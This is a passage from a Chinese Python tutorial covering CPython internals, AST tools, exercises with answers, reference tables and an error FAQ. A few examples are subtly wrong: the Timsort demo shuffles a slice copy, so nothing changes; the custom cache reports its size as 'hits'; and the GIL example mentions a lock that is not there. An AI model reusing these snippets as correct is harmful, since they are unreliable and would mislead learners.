│ └── compile.c # 编译器
├── Tools/ # 工具脚本
└── Doc/ # 官方文档源码
# ===== 推荐的阅读顺序 =====
# 1. 从纯 Python 标准库开始(Lib/)
# 2. 先读简单的模块:pathlib.py、dataclasses.py、functools.py
# 3. 再读复杂模块:collections/__init__.py、json/
# 4. 最后挑战 C 实现:Objects/listobject.c
# ===== 实战:阅读 functools.lru_cache 源码 =====
# 在 Python 中查看源码位置:
import functools
print(functools.__file__)
# /usr/lib/python3.12/functools.py
# 用 inspect 查看源码:
import inspect
source = inspect.getsource(functools.lru_cache)
print(source) # 直接打印源码
# 关键发现:
# 1. lru_cache 用闭包 + 字典实现缓存
# 2. 用双向链表维护访问顺序
# 3. maxsize=None 时走另一条快速路径(不淘汰)
# 4. typed=True 时区分不同类型(1 和 1.0 是不同的 key)
# ===== 第一步:Fork 和克隆 =====
# 1. 在 GitHub 上 Fork https://github.com/python/cpython
# 2. 克隆到本地
# git clone https://github.com/你的用户名/cpython.git
# cd cpython
# ===== 第二步:构建 CPython =====
# Linux/macOS:
# ./configure --enable-optimizations
# make -j$(nproc)
# ./python -c "print('Hello from my CPython!')"
# Windows:
# PCbuild\build.bat -e -d
# PCbuild\amd64\python_d.exe -c "print('Hello!')"
# ===== 第三步:找到要改的地方 =====
# 1. 浏览 https://bugs.python.org 或 GitHub Issues
# 2. 找一个 "easy" 或 "beginner friendly" 的 issue
# 3. 常见的入门级贡献:
# - 修复文档中的错别字
# - 补充缺失的类型注解
# - 添加/改进测试用例
# - 修复简单的 bug
# ===== 第四步:修改代码 =====
# 创建分支:
# git checkout -b fix-issue-12345
# 修改代码后运行测试:
# ./python -m test test_module_name # 运行特定模块的测试
# ./python -m test # 运行全部测试(很慢)
# ===== 第五步:提交 PR =====
# 1. 签署 CLA(Contributor License Agreement)
# 2. 写清楚的 commit message
# 3. 在 PR 描述中关联 issue
# 4. 等待核心开发者 review
# 5. 根据反馈修改
# ===== CPython 贡献注意事项 =====
# - 代码风格:PEP 7(C 代码)和 PEP 8(Python 代码)
# - 所有变更必须有测试
# - 所有公开 API 必须有文档
# - 变更需要在 whatsnew/ 中记录
# - 不要一次提太大的 PR,小步迭代
# ===== 选择项目的标准 =====
# 1. 你在用的项目(最有动力)
# 2. 活跃维护的项目(最近 1 个月有 commit)
# 3. 有 "good first issue" 标签的项目
# 4. 文档完善、CONTRIBUTING.md 清晰的项目
# ===== 参与步骤 =====
# 1. 先用起来——作为用户熟悉项目
# 2. 读 CONTRIBUTING.md——每个项目的规矩不同
# 3. 读 issue 列表——找你能解决的问题
# 4. 先从小贡献开始:
# - 修文档错别字
# - 补充测试
# - 回答其他用户的问题
# - 报告 bug(写清楚复现步骤)
# 5. 再做代码贡献
# ===== PR 的艺术 =====
# 好的 PR:
# - 解决一个明确的问题
# - 变更尽量小(一个 PR 做一件事)
# - 有测试证明修复有效
# - commit message 清晰("Fix X when Y happens")
# - 描述中说明"为什么"要改
# 不好的 PR:
# - 一次改了 50 个文件
# - 没有测试
# - commit message 写 "fix bug" 或 "update code"
# - 重构了大量代码但没有说明原因
# ===== 推荐入门的开源项目 =====
# - requests / httpx(HTTP 库)
# - fastapi(Web 框架)
# - pydantic(数据验证)
# - ruff(代码检查工具)
# - cpython(Python 本身)
# - 你自己日常使用的库
# ===== PEP(Python Enhancement Proposal)=====
# PEP 是 Python 的"提案"机制。所有重大变更都通过 PEP 讨论。
# 阅读 PEP 是理解 Python 设计哲学的最佳方式。
# 必读 PEP:
# - PEP 8:代码风格指南
# - PEP 20:The Zen of Python(import this)
# - PEP 257:Docstring 规范
# - PEP 484:类型注解
# - PEP 544:Protocol(结构化子类型)
# - PEP 3119:ABC(抽象基类)
# 查看 PEP:https://peps.python.org
# ===== 讨论渠道 =====
# - discuss.python.org(官方论坛)
# - GitHub Issues/PRs(代码层面的讨论)
# - Discord/Slack(实时交流)
# - PyCon(年度大会,中国也有 PyCon China)
# ===== 贡献方式(不只是写代码)=====
# - 翻译文档
# - 回答 Stack Overflow 上的问题
# - 写技术博客分享经验
# - 在会议上做分享
# - 组织/参加本地 Python 聚会
# - 帮助新人入门
上面只列了 CPython 的目录结构,没有真正带读者看懂一行 C 代码。下面带着问题读源码——为什么 Python 3.6+ 的字典是有序的?哈希冲突时怎么处理?
# ===== Python 3.6 之前的字典:稀疏哈希表 =====
# 旧实现:一个大数组,每个槽位存 (hash, key, value)
# 缺点:大量空槽位浪费内存,遍历顺序不确定
#
# 内存布局(旧):
# [(-, -, -), (hash1, key1, val1), (-, -, -), (hash2, key2, val2), ...]
# 空槽 有数据 空槽 有数据
# ===== Python 3.6+ 的字典:紧凑字典(Compact Dict)=====
# 新实现:两个数组
# 1. indices(稀疏索引数组):存的是指向 entries 的下标
# 2. entries(紧凑数组):按插入顺序存 (hash, key, value)
#
# 内存布局(新):
# indices: [_, 0, _, 1, _, _, 2, _] ← 稀疏,只存下标
# entries: [(hash1, key1, val1), ← 紧凑,按插入顺序
# (hash2, key2, val2),
# (hash3, key3, val3)]
# ===== 源码解读:dictobject.c 的核心结构 =====
"""
// CPython 3.12 dictobject.c 中的关键结构体:
// 每个字典项(存在 entries 数组中)
typedef struct {
Py_hash_t me_hash; // 缓存的哈希值
PyObject *me_key; // 键
PyObject *me_value; // 值
} PyDictKeyEntry;
// 字典的主结构
typedef struct {
PyObject_HEAD
Py_ssize_t ma_used; // 已使用的条目数
Py_ssize_t ma_version_tag; // 版本号(用于快速检测字典变化)
PyDictKeysObject *ma_keys; // 指向 keys 对象
PyObject **ma_values; // 值数组(分离存储时使用)
} PyDictObject;
"""
# ===== 哈希冲突:开放寻址法(Open Addressing)=====
# Python 字典用"开放寻址法"解决哈希冲突,不是"链地址法"
"""
查找 key 的过程:
1. 计算 hash(key) → 得到一个大整数
2. 用 hash % table_size → 得到初始槽位 index
3. 如果槽位为空 → key 不存在
4. 如果槽位有值且 key 相同 → 找到了
5. 如果槽位有值但 key 不同 → 碰撞!用扰动函数探测下一个槽位
"""
def simulate_dict_lookup(hash_table_size, key_hash):
"""模拟 CPython 字典的查找过程"""
index = key_hash % hash_table_size
perturb = key_hash
probe_sequence = [index]
for _ in range(10): # 最多探测 10 次
# CPython 的扰动函数(来自 dictobject.c)
perturb >>= 5 # 右移 5 位
index = (index * 5 + perturb + 1) % hash_table_size
probe_sequence.append(index)
return probe_sequence
# 演示
print("探测序列:", simulate_dict_lookup(8, hash("hello")))
# [3, 2, 6, 1, 5, 0, 4, 7, 3, 2, 6]
# ===== 为什么 dict 的 in 操作是 O(1)?=====
# 因为:
# 1. hash(key) 是 O(1)
# 2. 探测序列的长度有上限(装载因子 < 2/3 时触发扩容)
# 3. 理论最坏 O(n),实际几乎总是 O(1)
# 验证:dict vs list 的查找速度
import timeit
d = {i: i for i in range(10000)}
l = list(range(10000))
t_dict = timeit.timeit('9999 in d', globals=globals(), number=100000)
t_list = timeit.timeit('9999 in l', globals=globals(), number=100000)
print(f"dict 查找: {t_dict:.4f}s")
print(f"list 查找: {t_list:.4f}s") # 慢 100-1000 倍
# ===== 动手实验:用 sys 模块观察字典内部 =====
import sys
d = {}
print(f"空字典大小: {sys.getsizeof(d)} 字节") # 64 字节
d["a"] = 1
print(f"1 个元素: {sys.getsizeof(d)} 字节") # 232 字节(预分配了多个槽位)
for i in range(100):
d[i] = i
print(f"100 个元素: {sys.getsizeof(d)} 字节") # 逐渐扩容
# ===== list 的底层实现:动态数组 =====
"""
// CPython listobject.c 核心结构:
typedef struct {
PyObject_VAR_HEAD
PyObject **ob_item; // 指向元素数组的指针
Py_ssize_t allocated; // 已分配的容量(可能 > 实际元素数)
} PyListObject;
// list 就是一个 C 数组 + 容量管理
"""
# ===== append 的均摊 O(1):过分配机制 =====
# 当 list 扩容时,不是刚好多 1 个位置,而是多分配一些
# CPython 的扩容策略:new_allocated = (newsize >> 3) + (newsize < 9 ? 3 : 6) + newsize
# 约为 1.125 倍(每次多分配 12.5%)
import sys
# 观察 list 的内存增长
sizes = []
l = []
prev_size = sys.getsizeof(l)
for i in range(100):
l.append(i)
curr_size = sys.getsizeof(l)
if curr_size != prev_size:
sizes.append((i, curr_size))
prev_size = curr_size
print("list 扩容时机(元素数 → 字节数):")
for count, size in sizes[:15]:
print(f" {count:3d} 个元素 → {size} 字节")
# 输出示例:
# 0 个元素 → 56 字节
# 4 个元素 → 88 字节 ← 第一次扩容
# 8 个元素 → 120 字节 ← 第二次扩容
# 12 个元素 → 184 字节 ← 第三次扩容(每次多分配 ~12.5%)
# ===== append 为什么是均摊 O(1)?=====
# 大多数 append 只是往数组末尾写一个值 → O(1)
# 偶尔触发扩容时需要复制整个数组 → O(n)
# 但扩容次数是 log(n) 级别的,均摊下来每次还是 O(1)
# ===== insert(0, x) 为什么是 O(n)?=====
# 因为要在数组头部插入,后面所有元素都要往后移一位(memmove)
import timeit
l = list(range(10000))
t_append = timeit.timeit('l.append(0)', globals={'l': list(range(10000))}, number=10000)
t_insert0 = timeit.timeit('l.insert(0, 0)', globals={'l': list(range(10000))}, number=10000)
print(f"append: {t_append:.4f}s")
print(f"insert(0): {t_insert0:.4f}s") # 慢 100-1000 倍!
# 如果需要频繁在头部插入/删除,用 collections.deque(双向链表,O(1))
from collections import deque
d = deque(range(10000))
t_deque = timeit.timeit('d.appendleft(0)', globals={'d': deque(range(10000))}, number=10000)
print(f"deque.appendleft: {t_deque:.4f}s") # 和 append 一样快
# ===== list.sort() 的算法:Timsort =====
"""
Timsort 是 Python 的排序算法(也是 Java 的默认排序):
1. 把数组分成"runs"(天然有序的子序列)
2. 用 insertion sort 排序每个短 run
3. 用 merge sort 合并 runs
最坏 O(n log n),最好 O(n)(数据已经部分有序时)
"""
# Timsort 对"部分有序"的数据特别快
import random
sorted_data = list(range(10000))
almost_sorted = sorted_data.copy()
random.shuffle(almost_sorted[:100]) # 只有前 100 个乱序
t1 = timeit.timeit('sorted(d)', globals={'d': sorted_data}, number=100)
t2 = timeit.timeit('sorted(d)', globals={'d': almost_sorted}, number=100)
t3 = timeit.timeit('sorted(d)', globals={'d': list(range(10000, 0, -1))}, number=100)
print(f"已排序: {t1:.4f}s")
print(f"几乎有序: {t2:.4f}s") # 比随机快
print(f"逆序: {t3:.4f}s")
# ===== AST 是什么?=====
# 当 Python 执行你的代码时,先把源码解析成一棵"语法树"
# 你可以用 ast 模块读取、分析、甚至修改这棵树
import ast
# 解析代码为 AST
code = """
def hello(name):
return f"Hello, {name}!"
"""
tree = ast.parse(code)
print(ast.dump(tree, indent=2))
# 输出:
# Module(body=[
# FunctionDef(
# name='hello',
# args=arguments(posonlyargs=[], args=[arg(arg='name')]),
# body=[Return(value=...)]
# )
# ])
# ===== 实战 1:自动扫描项目中所有不安全的 eval() 调用 =====
import os
import ast
class EvalFinder(ast.NodeVisitor):
"""AST 访问者:找出所有 eval/exec 调用"""
def __init__(self):
self.findings = []
def visit_Call(self, node):
# 检查是否调用了 eval 或 exec
if isinstance(node.func, ast.Name) and node.func.id in ('eval', 'exec'):
self.findings.append({
'line': node.lineno,
'func': node.func.id,
'args': ast.dump(node.args[0]) if node.args else 'no args',
})
self.generic_visit(node)
def scan_file_for_eval(filepath: str) -> list:
"""扫描单个文件中的 eval/exec 调用"""
with open(filepath, 'r', encoding='utf-8') as f:
source = f.read()
try:
tree = ast.parse(source)
finder = EvalFinder()
finder.visit(tree)
return finder.findings
except SyntaxError:
return []
def scan_project(project_dir: str):
"""扫描整个项目"""
all_findings = []
for root, dirs, files in os.walk(project_dir):
# 跳过虚拟环境和缓存目录
dirs[:] = [d for d in dirs if d not in ('.venv', 'venv', '__pycache__', '.git')]
for file in files:
if file.endswith('.py'):
filepath = os.path.join(root, file)
findings = scan_file_for_eval(filepath)
for f in findings:
f['file'] = filepath
all_findings.append(f)
# 输出结果
if all_findings:
print(f"⚠️ 发现 {len(all_findings)} 处 eval/exec 调用:")
for f in all_findings:
print(f" {f['file']}:{f['line']} - {f['func']}()")
else:
print("✅ 未发现 eval/exec 调用")
# 使用
# scan_project("./my_project")
# ===== 实战 2:简单的代码混淆器 =====
class CodeObfuscator(ast.NodeTransformer):
"""AST 转换器:重命名变量名为无意义的名称"""
def __init__(self):
self.name_map = {}
self.counter = 0
def _get_obfuscated_name(self, original: str) -> str:
if original.startswith('_'):
return original # 保留私有变量名
if original not in self.name_map:
self.name_map[original] = f"_v{self.counter}"
self.counter += 1
return self.name_map[original]
def visit_FunctionDef(self, node):
# 重命名函数
node.name = self._get_obfuscated_name(node.name)
# 重命名参数
for arg in node.args.args:
arg.arg = self._get_obfuscated_name(arg.arg)
self.generic_visit(node)
return node
def visit_Name(self, node):
# 重命名变量引用
if isinstance(node.ctx, (ast.Store, ast.Load)):
node.id = self._get_obfuscated_name(node.id)
return node
def obfuscate_code(source: str) -> str:
"""混淆 Python 代码"""
tree = ast.parse(source)
obfuscator = CodeObfuscator()
new_tree = obfuscator.visit(tree)
ast.fix_missing_locations(new_tree)
return ast.unparse(new_tree)
# 示例
original = """
def calculate_total(price, quantity):
discount = 0.1
total = price * quantity * (1 - discount)
return total
"""
obfuscated = obfuscate_code(original)
print("混淆后:")
print(obfuscated)
# 输出类似:
# def _v0(_v1, _v2):
# _v3 = 0.1
# _v4 = _v1 * _v2 * (1 - _v3)
# return _v4
# ===== 实战 3:自动给函数添加性能计时 =====
class TimerInjector(ast.NodeTransformer):
"""给所有函数自动注入计时代码"""
def visit_FunctionDef(self, node):
# 在函数开头插入 time.start()
timer_start = ast.parse("import time; _start = time.perf_counter()").body
# 在函数结尾插入打印耗时
timer_end = ast.parse(
f"print(f'{node.name} 耗时: {{time.perf_counter() - _start:.4f}}s')"
).body
# 在 return 之前插入计时
new_body = timer_start + node.body
# 如果最后一个语句是 return,在它之前插入
if isinstance(node.body[-1], ast.Return):
new_body = timer_start + node.body[:-1] + timer_end + [node.body[-1]]
else:
new_body = timer_start + node.body + timer_end
node.body = new_body
self.generic_visit(node)
return node
# 使用
source = """
def slow_function():
total = 0
for i in range(1000000):
total += i
return total
"""
tree = ast.parse(source)
injector = TimerInjector()
new_tree = injector.visit(tree)
ast.fix_missing_locations(new_tree)
print(ast.unparse(new_tree))
inspect.getsource() 是查看任何 Python 对象源码的利器光看不练等于白学。以下是针对核心章节的练习题,分为"基础"和"进阶"两档。建议先独立完成,再参考答案。思考题没有标准答案,重在培养编程思维。
编写一个程序,接收用户输入的温度值和单位(C/F),自动转换并输出。支持连续输入,输入 q 退出。
# 参考答案
while True:
s = input("请输入温度(如 36.5C 或 98.6F,q 退出):")
if s.lower() == 'q':
break
unit = s[-1].upper()
value = float(s[:-1])
if unit == 'C':
result = value * 9/5 + 32
print(f"{value}°C = {result:.1f}°F")
elif unit == 'F':
result = (value - 32) * 5/9
print(f"{value}°F = {result:.1f}°C")
else:
print("单位不正确,请输入 C 或 F")
给定一个字符串,统计其中大写字母、小写字母、数字、其他字符的数量。
# 参考答案
s = input("请输入字符串:")
upper = lower = digit = other = 0
for ch in s:
if ch.isupper(): upper += 1
elif ch.islower(): lower += 1
elif ch.isdigit(): digit += 1
else: other += 1
print(f"大写:{upper},小写:{lower},数字:{digit},其他:{other}")
用字典实现一个简单的学生成绩管理系统,支持:添加学生、查询成绩、计算平均分、找出最高/最低分。
# 参考答案
students = {}
def add_student(name, scores):
students[name] = scores
def get_average(name):
scores = students.get(name, [])
return sum(scores) / len(scores) if scores else 0
def get_ranking():
return sorted(students.items(), key=lambda x: get_average(x[0]), reverse=True)
# 测试
add_student("张三", [90, 85, 92])
add_student("李四", [78, 88, 95])
add_student("王五", [95, 92, 98])
for name, scores in get_ranking():
print(f"{name}: 平均分 {get_average(name):.1f}")
为什么 Python 的列表用数组实现而不是链表?在什么场景下链表更好?
提示:考虑 CPU 缓存局部性、随机访问 vs 顺序访问、插入/删除的时间复杂度。
程序随机生成 1-100 的数字,用户猜测。提示"大了"或"小了",记录猜测次数。
# 参考答案
import random
target = random.randint(1, 100)
count = 0
while True:
guess = int(input("猜一个 1-100 的数字:"))
count += 1
if guess == target:
print(f"🎉 恭喜!你用了 {count} 次猜对了!")
break
elif guess < target:
print("小了,再试试!")
else:
print("大了,再试试!")
不用 functools.lru_cache,自己实现一个带缓存功能的装饰器。
# 参考答案
def my_cache(maxsize=128):
def decorator(func):
cache = {}
order = []
def wrapper(*args):
if args in cache:
return cache[args]
result = func(*args)
cache[args] = result
order.append(args)
if len(cache) > maxsize:
oldest = order.pop(0)
del cache[oldest]
return result
wrapper.cache_info = lambda: f"hits={len(cache)}, maxsize={maxsize}"
return wrapper
return decorator
@my_cache(maxsize=3)
def fibonacci(n):
if n < 2:
return n
return fibonacci(n-1) + fibonacci(n-2)
print(fibonacci(30))
print(fibonacci.cache_info())
Python 的函数参数传递是"值传递"还是"引用传递"?
提示:Python 使用"共享传参"(call by sharing)。理解可变对象和不可变对象在函数中的行为差异。
用描述符(descriptor)实现一个简单的 ORM,支持字段定义、实例创建、查询。
# 参考答案
class Field:
def __init__(self, field_type, primary_key=False):
self.field_type = field_type
self.primary_key = primary_key
self.name = None
def __set_name__(self, owner, name):
self.name = name
def __get__(self, obj, objtype=None):
if obj is None:
return self
return obj.__dict__.get(self.name)
def __set__(self, obj, value):
if not isinstance(value, self.field_type):
raise TypeError(f"{self.name} 必须是 {self.field_type.__name__}")
obj.__dict__[self.name] = value
class ModelMeta(type):
def __new__(mcs, name, bases, namespace):
fields = {}
for key, value in namespace.items():
if isinstance(value, Field):
fields[key] = value
namespace['_fields'] = fields
return super().__new__(mcs, name, bases, namespace)
class Model(metaclass=ModelMeta):
_table_name = ""
def __init__(self, **kwargs):
for field_name in self._fields:
if field_name in kwargs:
setattr(self, field_name, kwargs[field_name])
def save(self):
values = {f: getattr(self, f) for f in self._fields}
print(f"INSERT INTO {self._table_name} {values}")
# 使用
class User(Model):
_table_name = "users"
id = Field(int, primary_key=True)
name = Field(str)
age = Field(int)
user = User(id=1, name="张三", age=25)
user.save()
print(user.name)
用 asyncio + aiohttp 实现一个并发网页爬虫,限制并发数为 5。
# 参考答案
import asyncio
import aiohttp
async def fetch(session, url, semaphore):
async with semaphore:
try:
async with session.get(url, timeout=aiohttp.ClientTimeout(total=10)) as resp:
return url, resp.status, len(await resp.text())
except Exception as e:
return url, None, str(e)
async def crawl(urls, max_concurrent=5):
semaphore = asyncio.Semaphore(max_concurrent)
async with aiohttp.ClientSession() as session:
tasks = [fetch(session, url, semaphore) for url in urls]
results = await asyncio.gather(*tasks) # fetch 已内部处理异常,不需要 return_exceptions
for url, status, size in results:
print(f"{url}: status={status}, size={size}")
urls = [f"https://httpbin.org/delay/{i%3}" for i in range(10)]
asyncio.run(crawl(urls))
生成器和列表推导式在内存使用上有什么区别?在什么场景下必须用生成器?
提示:处理大文件、无限序列、管道式数据处理。
不用第三方库,用 queue 实现一个简单的数据库连接池。
# 参考答案
import sqlite3
import queue
import threading
class ConnectionPool:
def __init__(self, db_path, max_size=5):
self._pool = queue.Queue(maxsize=max_size)
self._lock = threading.Lock()
self._db_path = db_path
self._size = 0
self._max_size = max_size
def _create_connection(self):
conn = sqlite3.connect(self._db_path, check_same_thread=False)
conn.row_factory = sqlite3.Row
return conn
def get_connection(self):
try:
return self._pool.get_nowait()
except queue.Empty:
with self._lock:
if self._size < self._max_size:
self._size += 1
return self._create_connection()
return self._pool.get() # 阻塞等待
def release(self, conn):
self._pool.put(conn)
def close_all(self):
while not self._pool.empty():
conn = self._pool.get_nowait()
conn.close()
# 使用
pool = ConnectionPool("test.db", max_size=3)
conn = pool.get_connection()
cursor = conn.cursor()
cursor.execute("SELECT 1")
pool.release(conn)
实现一个支持环境变量、YAML 文件、默认值的配置管理系统。
# 参考答案
from pydantic import BaseModel
from pydantic_settings import BaseSettings, SettingsConfigDict
import yaml
import os
class DatabaseConfig(BaseModel):
host: str = "localhost"
port: int = 5432
name: str = "mydb"
user: str = "admin"
password: str = ""
class AppConfig(BaseSettings):
model_config = SettingsConfigDict(env_prefix="APP_", env_nested_delimiter="__")
debug: bool = False
log_level: str = "INFO"
database: DatabaseConfig = DatabaseConfig()
def load_config(config_path: str = "config.yaml") -> AppConfig:
# 1. 加载 YAML
config_data = {}
if os.path.exists(config_path):
with open(config_path) as f:
config_data = yaml.safe_load(f) or {}
# 2. 环境变量会自动覆盖(Pydantic Settings 的特性)
return AppConfig(**config_data)
config = load_config()
print(f"数据库: {config.database.host}:{config.database.port}")
实现一个支持单例和工厂模式的依赖注入容器。
# 参考答案
from typing import Any, Callable
class DIContainer:
def __init__(self):
self._services: dict[str, dict] = {}
def register(self, name: str, factory: Callable, singleton: bool = False):
self._services[name] = {
"factory": factory,
"singleton": singleton,
"instance": None
}
def resolve(self, name: str) -> Any:
if name not in self._services:
raise KeyError(f"服务 '{name}' 未注册")
service = self._services[name]
if service["singleton"]:
if service["instance"] is None:
service["instance"] = service["factory"](self)
return service["instance"]
return service["factory"](self)
# 使用
container = DIContainer()
container.register("config", lambda c: {"db_url": "sqlite://"}, singleton=True)
container.register("db", lambda c: f"连接到 {c.resolve('config')['db_url']}", singleton=True)
container.register("user_service", lambda c: f"UserService({c.resolve('db')})")
print(container.resolve("user_service"))
print(container.resolve("config") is container.resolve("config")) # True(单例)
你要开发一个日活 100 万的社交应用后端,需要支持:用户注册登录、发帖、评论、点赞、消息推送。请设计:
提示:没有标准答案,关键是要能说清楚"为什么这样选择"。
本附录是整本书的"工具箱"。当你写代码时遇到不认识的函数、想不起来的模块名、或者面试前需要突击复习,都可以翻到这一章快速查找。建议收藏本页,随时查阅。
| 函数 | 用途 | 示例 |
|---|---|---|
print() | 输出 | print("hello") |
input() | 输入 | name = input("名字:") |
len() | 长度 | len([1,2,3]) → 3 |
type() | 查看类型 | type(42) → int |
int() float() str() | 类型转换 | int("42") → 42 |
range() | 数字序列 | range(5) → 0,1,2,3,4 |
enumerate() | 带索引遍历 | enumerate(["a","b"]) |
zip() | 并行遍历 | zip([1,2], [3,4]) |
map() | 映射函数 | map(str, [1,2]) |
filter() | 过滤 | filter(bool, [0,1,"",2]) |
sorted() | 排序(返回新列表) | sorted([3,1,2]) |
reversed() | 反转 | reversed([1,2,3]) |
min() max() sum() | 聚合 | max(1,2,3) → 3 |
abs() | 绝对值 | abs(-5) → 5 |
round() | 四舍五入 | round(3.7) → 4 |
isinstance() | 类型判断 | isinstance(42, int) → True |
hasattr() getattr() | 属性操作 | hasattr(obj, "name") |
open() | 打开文件 | open("f.txt","r") |
id() | 内存地址 | id(obj) |
dir() | 列出对象的所有属性和方法 | dir([]) |
vars() | 返回对象的 __dict__ | vars(obj) |
help() | 查看帮助文档 | help(str.split) |
eval() | 执行字符串表达式 | eval("1+2") → 3 |
exec() | 执行字符串代码 | exec("x=1") |
super() | 调用父类方法 | super().__init__() |
property() | 定义属性 | @property |
classmethod() | 类方法装饰器 | @classmethod |
staticmethod() | 静态方法装饰器 | @staticmethod |
iter() | 创建迭代器 | iter([1,2,3]) |
next() | 获取迭代器下一个值 | next(it) |
any() all() | 逻辑判断 | any([False, True]) → True |
bin() oct() hex() | 进制转换 | bin(10) → '0b1010' |
chr() ord() | 字符/编码转换 | chr(65) → 'A' |
repr() | 返回对象的字符串表示 | repr("hello") → "'hello'" |
| 异常 | 原因 | 示例 |
|---|---|---|
SyntaxError | 语法错误 | 括号没闭合、冒号缺失 |
IndentationError | 缩进错误 | Tab 和空格混用 |
NameError | 变量未定义 | print(xyz) |
TypeError | 类型错误 | "1" + 1 |
ValueError | 值不合法 | int("abc") |
IndexError | 索引越界 | [1,2][10] |
KeyError | 键不存在 | {"a":1}["b"] |
AttributeError | 属性不存在 | "str".foo() |
FileNotFoundError | 文件不存在 | open("no.txt") |
ZeroDivisionError | 除以零 | 1/0 |
RecursionError | 递归过深 | 无限递归 |
StopIteration | 迭代器耗尽 | next(iter([])) |
| 模块 | 用途 | 关键功能 |
|---|---|---|
os | 操作系统交互 | getcwd, listdir, makedirs, path.exists |
sys | 系统相关 | argv, path, exit, version |
json | JSON 处理 | dumps, loads, dump, load |
re | 正则表达式 | search, findall, sub, compile |
datetime | 日期时间 | now, strftime, strptime, timedelta |
math | 数学运算 | pi, sqrt, ceil, floor, log |
random | 随机数 | randint, choice, shuffle, sample |
collections | 高级数据结构 | Counter, defaultdict, deque |
functools | 函数工具 | lru_cache, partial, reduce, wraps |
itertools | 迭代器工具 | chain, product, combinations |
pathlib | 路径操作 | Path, glob, rglob, read_text |
logging | 日志 | info, warning, error, basicConfig |
argparse | 命令行参数 | ArgumentParser, add_argument |
unittest | 单元测试 | TestCase, assertEqual |
typing | 类型注解 | List, Dict, Optional, Union |
subprocess | 运行外部命令 | run, Popen, PIPE |
threading | 多线程 | Thread, Lock, Event, Timer |
multiprocessing | 多进程 | Pool, Process, Queue |
asyncio | 异步编程 | run, gather, create_task, sleep |
socket | 网络编程 | socket, bind, listen, accept |
sqlite3 | SQLite 数据库 | connect, execute, fetchall |
hashlib | 哈希算法 | md5, sha256, sha1 |
dataclasses | 数据类 | @dataclass, field |
copy | 拷贝 | copy, deepcopy |
time | 时间操作 | sleep, time, perf_counter |
io | IO 操作 | StringIO, BytesIO |
| 库 | 用途 | 关键功能 |
|---|---|---|
pydantic | 数据验证 | BaseModel, Field, field_validator, model_dump |
rich | 终端美化 | Console, Table, Panel, Progress, Syntax |
typer | CLI 框架 | @app.command, Argument, Option, Typer |
httpx | HTTP 客户端 | 支持同步+异步,替代 requests |
aiohttp | 异步 HTTP | ClientSession, 异步请求/响应 |
fastapi | Web API 框架 | Depends, Pydantic 集成, 自动文档 |
uvicorn | ASGI 服务器 | 运行 FastAPI/Starlette 应用 |
sqlalchemy | ORM 框架 | Session, Query, 关系映射 |
redis | Redis 客户端 | Redis, 异步版: redis.asyncio |
pytest | 测试框架 | fixture, parametrize, mark |
ruff | Linter + Formatter | 替代 Flake8 + isort + Black |
mypy | 类型检查 | 静态类型分析 |
celery | 任务队列 | 分布式异步任务 |
langchain | AI 应用框架 | LLM 调用, RAG, Agent, Chain |
openai | OpenAI SDK | ChatCompletion, Embedding, Function Calling |
chromadb | 向量数据库 | 文档向量化存储与检索 |
原因:代码有语法错误,Python 无法解析。
检查:括号是否匹配、冒号是否遗漏、引号是否闭合、是否用了中文标点(,;:)、= 和 == 是否搞混。
原因:缩进不一致。
检查:统一用 4 空格缩进,不要混用 Tab 和空格。VS Code 中按 Tab 自动转为 4 个空格。
原因:使用了未定义的变量。
检查:变量名是否拼写正确、是否在使用前定义了、是否在函数内忘记加 global。
原因:类型不匹配。
检查:None 当成列表用了(None[0])、字符串和数字混运算("1" + 1)、函数返回了 None 但你当成其他类型用。
原因:对象没有这个属性或方法。
检查:是否拼写错误、是否把变量名覆盖了内置函数(如 list = [1,2] 后 list() 就不能用了)、对象类型是否正确。
原因:访问了不存在的索引。
检查:索引是否越界(列表长度为 5,索引最大为 4)、是否忘记列表为空的情况、负索引是否正确。
原因:字典中不存在这个键。
检查:键名是否拼写正确、用 dict.get("key", default) 避免 KeyError。
原因:找不到要导入的模块。
检查:是否安装了(pip install xxx)、是否在正确的虚拟环境中、模块名是否拼写正确、是否有命名冲突(你的文件名和库同名)。
原因:文件或目录不存在。
检查:路径是否正确(用 os.path.exists() 检查)、相对路径是否基于当前工作目录、Windows 路径用 / 或原始字符串 r"C:\path"。
原因:没有权限访问文件或端口。
检查:文件是否被其他程序占用、是否有读写权限、端口是否被占用(lsof -i:8000)、是否需要管理员权限。
原因:编码不匹配。
检查:打开文件时指定 encoding="utf-8"、网络请求的编码是否正确、是否用了错误的编码读写文件。
原因:递归调用太深(默认限制 1000 层)。
检查:递归是否有终止条件、终止条件是否正确、是否可以用循环代替递归。
原因:网络连接被拒绝或重置。
检查:服务是否启动、地址和端口是否正确、防火墙是否放行、是否设置了 timeout。
原因:JSON 解析失败。
检查:响应是否为空、是否返回了 HTML 错误页面而不是 JSON、Content-Type 是否正确。
原因:端口被占用。
检查:是否有其他进程在用这个端口、上次运行是否正常退出。
解决:lsof -i:8000 找到占用进程然后 kill,或换一个端口。
原因:解包时变量数量和值数量不匹配。
检查:a, b = [1, 2, 3] 会报错,用 a, *b = [1, 2, 3] 接收剩余值。
答:list 是可变的(可以增删改元素),tuple 是不可变的(创建后不能修改)。
# list 可以修改
lst = [1, 2, 3]
lst[0] = 99 # OK → [99, 2, 3]
lst.append(4) # OK → [99, 2, 3, 4]
# tuple 不能修改
tup = (1, 2, 3)
tup[0] = 99 # 报错!TypeError
tup.append(4) # 报错!AttributeError
为什么要有 tuple?
# tuple 可以作为字典 key
d = {(1, 2): "坐标"} # OK
d = {[1, 2]: "坐标"} # 报错!unhashable type: 'list'
答:GIL(Global Interpreter Lock,全局解释器锁)是 CPython 的一个机制,它确保同一时刻只有一个线程执行 Python 字节码。
import threading
counter = 0
def add():
global counter
for _ in range(1000000):
counter += 1
# 即使加了锁,GIL 也会影响性能
threads = [threading.Thread(target=add) for _ in range(4)]
for t in threads: t.start()
for t in threads: t.join()
print(counter) # 结果可能 < 4000000(GIL 切换导致丢失)
影响:
答:它们让函数接收可变数量的参数。
# *args:接收多余的位置参数,打包成 tuple
def func(a, *args):
print(f"a = {a}")
print(f"args = {args}")
func(1, 2, 3, 4)
# a = 1
# args = (2, 3, 4)
# **kwargs:接收多余的关键字参数,打包成 dict
def func2(a, **kwargs):
print(f"a = {a}")
print(f"kwargs = {kwargs}")
func2(1, name="张三", age=20)
# a = 1
# kwargs = {'name': '张三', 'age': 20}
# 同时使用
def func3(*args, **kwargs):
print(args, kwargs)
func3(1, 2, name="张三")
# (1, 2) {'name': '张三'}
名字不一定要叫 args 和 kwargs,星号 * 和 ** 才是关键:
def func(*numbers, **options):
# 同样有效
pass
答:
import copy
